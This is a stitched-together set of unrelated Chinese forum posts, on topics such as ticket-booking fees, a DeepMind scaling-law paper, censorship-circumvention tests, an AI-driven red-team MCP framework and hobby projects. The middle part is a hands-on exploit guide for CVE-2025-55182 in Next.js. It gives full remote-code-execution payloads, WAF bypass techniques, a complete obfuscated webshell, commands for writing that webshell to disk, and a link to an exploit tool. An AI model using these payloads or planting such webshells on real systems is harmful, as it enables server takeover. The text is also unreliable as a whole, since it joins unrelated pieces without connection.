在[去哪儿]上买的春节期间一家人返乡的车票, 然后订回程票的时候才发现金额有点问题, 查询订单详情才发现没人额外扣了笔 40 元的意外险附加费用, 查了下去程的车票, 果然也被扣了. 之后我又复盘了下这个套路, 发现真的非常容易踩坑:

1. 用过[去哪儿]的, 应该都知道, 在购票的环节都会出现三个购票选项, 只有一个是以 12306 原价购票, 另外两个都是捆绑酒店或是其他权益的, 当然它起码有小字用低对比度颜色注明了会加多少钱. 当你选了原价购票的选项自以为不被平台套路, 但实际上这个意外险增值服务是以底部弹窗的形式出现在跳转支付前的一个页面弹窗大致意思是大致意思是保障出行,这个弹窗没有标注会加多少钱, 而且按照一般习惯跳转支付前是有个确认底部弹窗很正常, 就很容易忽视这是个附加服务购买的确认弹窗

2. 最终确认金额的时候很难察觉的金额不对, 众所周知春节期间车票靠抢, 一般会选择多个车次和座位作候补, 而最终付款时是以金额最贵的车票付费, 之后抢到后再退费. 因此看到支付时多出 8%左右的费用会下意识的以为买的是较贵的车次. 我在买回程车票的时候之所以察觉到问题就是因为回程车票只选了一个车次, 就察觉到付款时与车票价格的差别. 幸亏没有选择开通平台自动扣费, 不然连察觉的机会都没有.

3. 如果是短途车票或是单人购票, 是不会有这个底部弹窗, 它赌的就是你数学不好. 以往买过很多单人都没遇到这种情况.

结果: 当我发现被套路扣费后还想着在平台退款, 然后它居然敢不提供该附加费用退款的选项. 自动客服也不给退. 打电话也说不给退, 最后转人工退了. 不然还打算 12377 伺候. 各位如果被套路的可以 12377 举报一波了.

空闲时候花了几分钟做了一个 Win 的刘海,如下图:
Windowsliuhai

Windowsliuha2i

目前可以显示时间,按理在这块“刘海”是可以显示更多的内容,比如 todoList,或是每日提醒,或是每日一句。

150932d7a7si4n5ya48477

今天早上,准备离开泉州,泉州是我旅行的其中一站,我是故意选择泉州旅行去体验传说中的白名单的,(上一站是漳州,所有自建节点完全正常)。

个人认为,泉州白名单确实存在,不是传说,客户端用 QuantumultX ,我实测的结果如下:

1.)只针对用域名+TLS 的翻墙,所有 CDN 阵亡、所有 WS+TLS 、XTLS Vision(TCP)、TLS+TCP 阵亡。

2.) 非白名单网站,无论套了 CF CDN / AWS CDN 还是直连,就算用普通浏览器打开 https://也打不开,(最简单用自己的域名试便知道了)。

3.)非 TLS 翻墙,例如 SS2022 / VMESS / VMESS+WS (过 AWS CDN),无论用域名还是 IP 都可以正常使用。

4.)偷白名单网站证书的 Reality ,能够正常使用。

5.) DNS 无论是境外还是自建的 DOH ,全部阵亡,但我自建的境外 DOQ 能用,(走 udp 443 端口)..

希望对大家了解泉州白名单有所帮助。

谷歌 DeepMind 的研究人员提出了ATLAS,这是一套针对多语言语言模型的缩放定律,用于形式化描述随着支持语言数量的增加,模型规模、训练数据量以及语言组合之间如何相互作用。该研究基于 774 次受控训练实验,模型参数规模从 1000 万到 80 亿不等,使用覆盖 400 多种语言的多语言训练数据,并在 48 种目标语言上评估模型性能。

 

现有的大多数缩放定律主要来源于仅使用英语或单一语言的训练设置,因此对于多语言训练的模型只能提供有限的指导。ATLAS 在此基础上进行了扩展,显式建模了跨语言迁移以及由多语言训练引入的效率权衡。该框架不再假设新增语言会产生统一影响,而是估计在训练过程中,单个语言如何促进或干扰其他语言的性能表现。

 

ATLAS 的核心是一种跨语言迁移矩阵,用于衡量在一种语言上训练对另一种语言性能的影响。分析结果表明,正向迁移与共享书写系统和语言家族高度相关。例如,斯堪的纳维亚语言之间表现出明显的相互增益,而马来语和印尼语则构成了一个高迁移效率的语言对。英语、法语和西班牙语则表现为广泛有益的源语言,这很可能与其数据规模和多样性有关,但这种迁移效应并不具备对称性。

ATLAS 通过将训练语言数量与模型规模和数据量一并纳入建模,扩展了传统的缩放定律。它量化了所谓的“多语言诅咒”:在模型容量固定的情况下,随着支持语言数量的增加,每种语言的性能会下降。实验结果表明,在保持性能不变的前提下,若语言数量翻倍,模型规模需增加约 1.18 倍,总训练数据量需增加约 1.66 倍;而正向的跨语言迁移可以在一定程度上抵消单语言数据减少所带来的性能下降。

 

该研究还分析了在不同条件下,是从零开始预训练一个多语言模型,还是在已有多语言模型检查点上进行微调更为有效。结果显示,在较低 token 预算下,微调在计算效率上更具优势;而当训练数据和计算资源超过某一与语言相关的阈值后,从头预训练反而更有利。对于 20 亿参数规模的模型,这一拐点通常出现在约 1440 亿到 2830 亿 token 之间,为根据可用资源选择训练策略提供了实用参考。

 

此次发布也引发了关于替代模型架构的讨论。一位 X 用户评论道:

与其训练一个在每种语言上都使用大量冗余数据的超大模型,一个纯粹用于翻译的模型需要多大规模?这样又能让基础模型缩小多少?

 

尽管 ATLAS 并未直接回答这一问题,但其提供的迁移测量结果和缩放规则,为探索模块化或专用化的多语言模型设计奠定了定量基础。

原文链接:

https://www.infoq.com/news/2026/01/google-deepmind-atlas/

漏洞刚出来,就有反转反转,最终经过测试,总结了一些利用方式

环境搭建

npm create next-app@16.0.6 react -y
npm run dev

常规payload利用

经过参考网上的payload,我在实际利用过程中进行了一些细微的改造,让它利用起来更加舒服。

注:lc.com为本地hosts映射的本地IP,非公网服务器,请勿随意对公网服务器进行攻击

payload-1 execSync同步执行

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('【命令】').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

常规payload,回显在响应头部

image-20251211115416747

image-20251211115439174

这种payload比较清晰明了,但是如果执行的命令是返回多行的,就不凑效了,因为不能给响应头的值设置成多行的,可以将多行命令拼接成一行,不过构造命令挺麻烦的,于是就有了payload2

payload-2 execSync同步执行

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('【命令】').toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

image-20251211121140675

将返回内容进行base64解码得到多行结果

image-20251211121500569

为了方便输入复杂的命令,这里把输入的命令也进行base64编码进行传输,这里测试callback的代码,也可以完美执行。

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync(Buffer.from('【base64编码的命令】','base64').toString()).toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

image-20251211121816556

但是像这种耗时命令会因为同步执行被阻塞住,这类命令后台都是返回500的,如果是执行反弹shell,这种可能会直接卡住。

image-20251211122159652

我这里执行ping 127.0.0.1 -t让他阻塞住,我现在后面发送的请求都不会有响应,因为被阻塞住了

image-20251211122523014

因此又有了payload-3

payload-3 exec异步执行

exec可以不阻塞执行命令,即使ping 127.0.0.1 -t,也能继续执行后续操作,但是也有个弊端,无法直接返回执行结果,因此可以搭配callback网站使用,请求会立即返回一个对象,命令执行结果返回到callback里面

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').exec(Buffer.from('【base64编码命令】','base64').toString()).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

image-20251211125010409

image-20251211125046061

waf绕过

实际测试过程中,我遇到过一些waf,目前遇到的,我只要两个方法就能直接绕过。

注:下面测试的站点不存在此漏洞,只为演示绕过waf

首先第一个位置绕过,正常发送直接被拦了

image-20251211125855436

删内容,找到关键拦截点,经过测试,第一个点是在这个payload位置

image-20251211130113454

这个位置常规使用脏数据可以绕过大部分的waf了

image-20251211130342905

然后第二处就是关键头部,Next-Action是必须要的,如果没有这个头部,将无法执行命令

image-20251211130516262

image-20251211130551835

但是只要有这个头部,就直接被拦住了,很明显waf专门针对这个漏洞进行了规则配置

image-20251211130830660

我尝试了脏数据,添加一堆头部,加到装不下了,也绕过不了

image-20251211130959435

最后经过尝试,只需要重复Next-Action就行了,猜测应是读取头部指定键时,如果存在多个指定键,会报错,或者waf判断的是这个键的数量是不是1

image-20251211131150488

且双写头部,是可以正常执行命令的

image-20251211131504282

写马踩坑

写木马也有坑点,无论是写linux的还是windows的

写木马最好是用base64编码来写,这样子可以减少需要转义的字符

shell代码如下:

import { NextResponse } from 'next/server';
import { exec } from 'child_process';

// GET 请求处理(仅从URL参数获取参数)
export async function GET(request) {
  return new Promise((resolve) => {
    try {
      // 从URL参数获取demo和b64参数
      const { searchParams } = new URL(request.url);
      const demo = searchParams.get('demo');
      const b64 = searchParams.get('b64'); // 获取b64参数,判断是否解码

      // 校验demo参数是否存在
      if (!demo) {
        resolve(NextResponse.json(
          { error: '缺少demo参数' },
          { status: 400 }
        ));
        return;
      }

      // 根据b64参数判断是否解码:b64=1时解码,否则直接使用原始内容
      const command = b64 === '1' 
        ? Buffer.from(demo, 'base64').toString('utf-8') 
        : demo;

      // 执行命令
      exec(command, (error, stdout, stderr) => {
        if (error) {
          console.error('执行错误:', error);
          resolve(NextResponse.json(
            { error: '执行失败', message: error.message },
            { status: 500 }
          ));
          return;
        }

        const result = (stdout || stderr).toString().trim();
        resolve(new NextResponse(result, {
          status: 200,
          headers: {
            'Content-Type': 'text/plain; charset=utf-8',
          },
        }));
      });
    } catch (error) {
      console.error('参数处理错误:', error);
      resolve(NextResponse.json(
        { error: '执行失败', message: error.message },
        { status: 500 }
      ));
    }
  });
}

// POST 请求处理(支持URL参数 + FormData格式body)
export async function POST(request) {
  return new Promise(async (resolve) => {
    try {
      // 1. 优先从URL参数获取demo和b64参数
      const { searchParams } = new URL(request.url);
      let demo = searchParams.get('demo');
      let b64 = searchParams.get('b64');

      // 2. URL参数不存在时,从FormData格式的body获取
      if (!demo) {
        const formData = await request.formData();
        demo = formData.get('demo');
        // 同时从body获取b64参数(兼容body传b64的场景)
        if (!b64) b64 = formData.get('b64');
      }

      // 3. 校验demo参数是否存在
      if (!demo) {
        resolve(NextResponse.json(
          { error: '缺少demo参数' },
          { status: 400 }
        ));
        return;
      }

      // 根据b64参数判断是否解码:b64=1时解码,否则直接使用原始内容
      const command = b64 === '1' 
        ? Buffer.from(demo, 'base64').toString('utf-8') 
        : demo;

      // 执行命令
      exec(command, (error, stdout, stderr) => {
        if (error) {
          console.error('执行错误:', error);
          resolve(NextResponse.json(
            { error: '执行失败', message: error.message },
            { status: 500 }
          ));
          return;
        }

        const result = (stdout || stderr).toString().trim();
        resolve(new NextResponse(result, {
          status: 200,
          headers: {
            'Content-Type': 'text/plain; charset=utf-8',
          },
        }));
      });
    } catch (error) {
      console.error('参数处理错误:', error);
      resolve(NextResponse.json(
        { error: '执行失败', message: error.message },
        { status: 500 }
      ));
    }
  });
}

首先对shell文件进行压缩混淆,增加被发现难度,我用JavaScript/Html在线格式化-Js/Html压缩-Js加密压缩工具,先压缩后混淆

image-20251211132045366

windows

使用命令写入,先从windows开始踩坑,需要执行的命令如下:

mkdir E:\漏洞测试环境\create-next-app\app\api\shell && echo [压缩后的代码] > E:\漏洞测试环境\create-next-app\app\api\shell\route.js 

这个命令是发送到服务器执行的代码,99%是会报错的,因为压缩后的代码依旧存在大量cmd已经定义的符号。&><等,需要统一替换代码中的这些特殊符号,在前面加一个 ^进行转义才能真正写入

未转移在cmd执行会因为各种符号报错,我示例这里直接echo输出shell代码

image-20251211133342709

转义后再次执行,这次没报错了

image-20251211133429449

linux

linux因为可以使用EOF,轻松多了,但是如果你使用base64编码后的命令,可能会出现你写入的文件名不对的问题

mkdir -p /home/lc/Public/bugtest/react/app/api/shell && cat << 'EOF' > /home/lc/Public/bugtest/react/app/api/shell/route.js
[shell代码]
EOF

image-20251211134244914

这里乍一看都是一样的文件名,其中一个是我通过漏洞写入的,但是怎么会有一样的文件名呢?

切管理员上帝视角看一下,很明显看到第二个我用漏洞写入的文件后面是有特殊符号的

image-20251211134433716

其实是因为window和linux换行符的原因,windown用的CRLF,linux是LF,所以因为换行符不一致导致编码后多出不可见符号,解决方法很简单,如图,把输入字符串改成LF,然后把文件名后面的CR删掉就可以了(代码的CR删不删都行,不影响)

image-20251211135041873

最终效果:

这里我把传参由demo改成了minl,

image-20251211135255798

也可以base64编码命令

image-20251211135409829

工具分享

文中我用到的工具我也上传了github,自己写的,不是专业开发,可能会有小bug,遇到欢迎提

https://github.com/LC-pro/CVE-2025-55182-EXP

谷歌发布学术插图生成工具--PaperBanana
主要特点:
🌟 类人工作流程:检索 🔍 - 计划 📝 - 风格 🎨 - 渲染 🖼️ - 评论 🔄 。既保证了学术严谨性,又兼顾了美观性。
🌟 多功能:支持说明性图表和统计图表。
🌟 润色:对润色现有的人工绘制的图表也有效。

[开源] AutoRedTeam-Orchestrator - 给 AI 编辑器装上渗透测试工具箱

项目简介

AutoRedTeam-Orchestrator 是一个基于 Model Context Protocol (MCP) 的 AI 驱动自动化渗透测试框架。

它将 101 个安全工具 封装为 MCP 工具,可与支持 MCP 的 AI 编辑器 (Claude Code, Cursor, Windsurf, Kiro, Claude Desktop) 无缝集成,实现自然语言驱动的自动化安全测试

简单说:配置好之后,直接跟 AI 说「帮我扫描 xxx.com 的漏洞」就行了



项目数据概览

指标数量
MCP 工具101
Payload 库2,000+
测试用例1,461
漏洞检测器19


为什么选择 AutoRedTeam-Orchestrator?

特性传统工具AutoRedTeam-Orchestrator
交互方式命令行记忆自然语言对话
学习成本高(需记忆大量参数)低(AI 自动选择工具)
工具整合手动切换工具101 工具统一接口
攻击链规划人工规划MCTS 算法 + 知识图谱
误报过滤人工验证OOB + 统计学验证
报告生成手动编写一键生成专业报告
会话管理支持断点续传
安全性各工具独立MCP 安全中间件统一防护


为什么做这个?

最早是在用 HexStrike,还参与过二次开发,和 #96 分支作者 Ynee 也有过深入交流。

后来在社区找到了 HexStrike 原作者,但他似乎遇到了一些生活上的困难,项目更新明显放缓了。

与其等待,不如自己动手。正好使用中也积累了一些想法:

  1. 为什么非得在 Kali 上跑? → 做成 Windows 原生,Linux 也兼容

  2. 为什么不能和 AI 编辑器联动? → 基于 MCP 协议,Claude Code 直接调用

  3. 为什么工具这么分散? → 101 个工具整合到一起

于是就有了这个项目。


技术栈 & 兼容性

技术栈

语言 Python 3.10+

协议 MCP (Model Context Protocol)

并发 asyncio / httpx / aiohttp

算法 MCTS 蒙特卡洛树搜索

存储 内存图存储 / SQLite

安全 输入验证 / 速率限制 / 操作授权

已测试支持

CLI 工具:

  • Claude Code (终端)

  • Gemini CLI

  • Codex CLI(道德感严重 )

  • iFlow CLI

IDE / 桌面端:

  • Cursor

  • Windsurf

  • Kiro

  • Claude Desktop

  • VS Code (with MCP extension)

基本上只要能跑 MCP 的 IDE/CLI 都可以用这个项目


结果案例:





codex扫描时间过长我停了,具体各位佬可以重新测试一下

GitHub

GitHub - Coff0xc/AutoRedTeam-Orchestrator: AI-Driven Automated Red Team Orchestration Framework | AI驱动的自动化红队编排框架 | 101 MCP Tools | 2000+ Payloads | Full ATT&CK Coverage | MCTS Attack Planner | Knowledge Graph | Cross-platform

欢迎 Star 和 PR!


免责声明

本工具仅限以下场景使用:

  • 授权渗透测试

  • 红队安全评估

  • 安全研究学习

  • CTF 竞赛

严禁用于:

  • 未经授权测试他人系统

  • 任何非法用途

使用本工具造成的任何法律后果由使用者自行承担。

狗头保命,希望大家合法合规使用~


第一次在 L 站发自己的项目,有问题欢迎回帖讨论,也可以去 GitHub 发 Issue 或者按项目里的邮箱联系我,看到就会回复。

希望大家共同进步,也请各位师傅斧正!


📌 转载信息
转载时间: 2026/2/5 05:19:59

目前系统版本 ios26.2 ,由于充电比较方便,手机购买后电量都没低于 20%过,昨天外出忘了充电,电量低开启省电模式才发现这个问题。目前 ios26 优化也太拉了吧!

描述:

本人电脑上的系统仍停留在 Sequoia 15.7.3 ,主要是因为作为主力浏览器的 Safari 会在更新 macOS Tahoe 后失去 Compact Tab layout ,这对我来说是 a big NO NO!

后来发现,Safari 26 在 Sequoia 15.7.3 上似乎还支持 Compact Tab ;我猜想,Tahoe 上弧度很大的圆角设计让苹果在新系统上放弃了 Compact Tab layout ,但在旧系统上仍然保留。

因此,我有在 Sequoia 上单独更新浏览器到 Safari 26.2 的想法。

问题:

有人在 Sequoia 上使用 Safari 26 吗?体验如何?耗能、bug 、流畅度 etc.

背景

最近和不同的朋友聊天,熟悉程度差不多。然后发现了一点聊天上使用 逗号,句号 一点不同的感受。目前来看有两种情况。

  1. 发送文字时只使用简单的逗号,没有句号啥的,连续发送多条都不带。
  2. 使用逗号与句号,某些文字消息会有句号结尾。

个人感觉

我自己认为是比较自在时不会有心地去使用句号结尾。所以我觉得不使用句号结尾相对来说是更加自在。而对于有句号结尾,可能是这条消息有所斟酌然后缓缓打了一个句号,然后有种对方不知道咋回复的感觉,当然这个可能只是我这个例子😂。

最近体验了不少 API 中转站,薅了不少羊毛哈哈,感觉有点上瘾了,已经忘记写代码的感觉了。😭

期间遇到过几次站点挂掉的情况,于是,有几个疑问,望大佬解惑哈~


1.他们有的会放出来一个大额的 token ,福利给大家刷 token ,这个不是纯亏吗,难道真是良心老板?

2.各站点间有价格差,有的确实很低且效果也还可以,这羊毛到底出在哪里了,说是搞逆向的,都是什么渠道搞得,都想自己也整个,哈哈免费羊毛得薅😆😆

3.他们是养了一批号码吗,封一批就新起一批,那要绑定的银行卡岂不是很多,感觉很难管理啊

4.其他猜想:搞几个高质量大号,搞个什么无限流量卡,薄利多销

之前一直用的 google pay 订阅的 claude ,稳定的用了半年,上个月突然就被封了,然后我又拿另外一个很久之前注册的 claude 账号,使用相同的 google pay 账号订阅了 pro ,结果用了两天就被封了?这个是什么原因呢?难道是我的梯子 ip 最近被拉黑了?还是用的 google pay 账号被拉黑了?

前言

自己用过很多自托管的导航页,始终没有找到适合自己心意的,要么太重,要么太简陋。于是通过 Vibe coding 设计了一个满足自己的导航页,多说无益,欢迎大家来使用。

✨ 核心特性

  • 书签和仪表盘:书签采用可收缩侧边栏的形式,最大化的留出仪表盘空间。
  • 多端同步:所有终端设备浏览器访问的是同一个布局,同一个书签库,在任何设备上编辑会自动同步。
  • 自由布局:基于 Grid 网格,目前已开发备忘录,待办事项,日历,天气等小组件,大小随便拉。
  • 私有部署:提供 Docker 镜像,数据全部存在你自己的 VPS 或 NAS 上 (JSON 格式),没有广告,没有追踪。

🚀 快速部署

docker run -d -p 3000:3000 -v ./data:/app/data ghcr.io/wtfllix/navidash:latest

🔗 链接

在线演示: navidash.vercel.app

GitHub: github.com/wtfllix/navidash (求个 Star 🌟)

Sample:

观察到用代理访问 www.bing.com 会导致区域设置被改回中国,此时搜敏感词会让搜索结果变成无意义的外语结果。换个代理 IP 又好了,推测跟 IP 质量有关。(原谅我标题用别字,因为我每次发文打那个字都会被 v 站锁 ip 。)

Hi V2EX 的朋友们,

最近工作之余,想找一款不用动脑子、随时能停、画风舒服的经商游戏,找了一圈没发现特别合心意的,于是干脆自己动手写了一个——《浮生商记》。

这是一款纯单机、古风策略、模拟经商的网页游戏。没有眼花缭乱的广告,不需要登录注册(数据存在本地 LocalStorage ),主打就是一个“佛系养成,世代传承”。

🔗 试玩地址
https://fusheng.jrkk.cn/ (建议手机端或浏览器小窗口体验,摸鱼效果更佳)

📷 游戏截图
(楼主注:多图预警,UI 刚刚做了一波优化,力求古色古香)

  1. 随机集市与动态物价: 这里不是无脑买卖,还要看“天时”。引入了 24 节气系统,清明茶贱,寒露丝贵。https://i.imgur.com/L0hEK69.png

  2. 产业闭环与技艺工坊: 单纯倒买倒卖利润低?试试买下桑园、矿山,学习缫丝、冶炼、炼丹,把原料加工成高价成品。https://i.imgur.com/0okPlNB.png

  3. 红颜知己与家族传承: 除了赚钱,还要生活。结识芸娘、苏小小等红颜,好感度高了能解锁强力 Buff (比如回血翻倍、背包扩容)。这一世结束了?别怕,资产和技艺可以传给下一代,打造万世基业。https://i.imgur.com/YLrTJcM.png

https://i.imgur.com/vvYfMcw.png

🎮 核心玩法 & 特色
💻 技术栈:React + Tailwind CSS + Lucide React 。纯前端实现,利用 LocalStorage 实现自动存档和离线收益计算。

🌍 动态世界:每次开局,地图(苏州、长安、敦煌等)和可结识的红颜都是随机生成的,Roguelike 微元素。

📈 身份进阶:从一介“行脚商”做起,慢慢爬升到“市井掌柜”、“朝廷皇商”乃至“江南巨贾”,解锁运费减免和贡品贸易特权。

💾 数据自由:虽然是单机,但我做了一个存档导出/导入功能(生成一段字符串),你可以把进度存在本地,或者发给朋友(虽然目前是单机,但可以以此炫耀资产)。

🛌 离线收益:关掉网页去工作,你的商号伙计也在帮你赚钱。再次打开时会根据离线时长结算收益。

👨‍💻 碎碎念 / 后续计划
目前游戏的核心闭环(买卖-产业-传承)已经完成。UI 方面特意打磨了一下,用了仿宣纸的底色和深棕色的木质纹理,希望能给大家带来一点“慢生活”的治愈感。

接下来的计划:

增加更多的随机奇遇事件(目前已经有一些简单的抉择)。

丰富传家宝系统,让“传承”更有意义。

优化移动端的触控体验。

欢迎大家试玩,如果有 Bug 或者好的脑洞,请在评论区疯狂输出!感谢!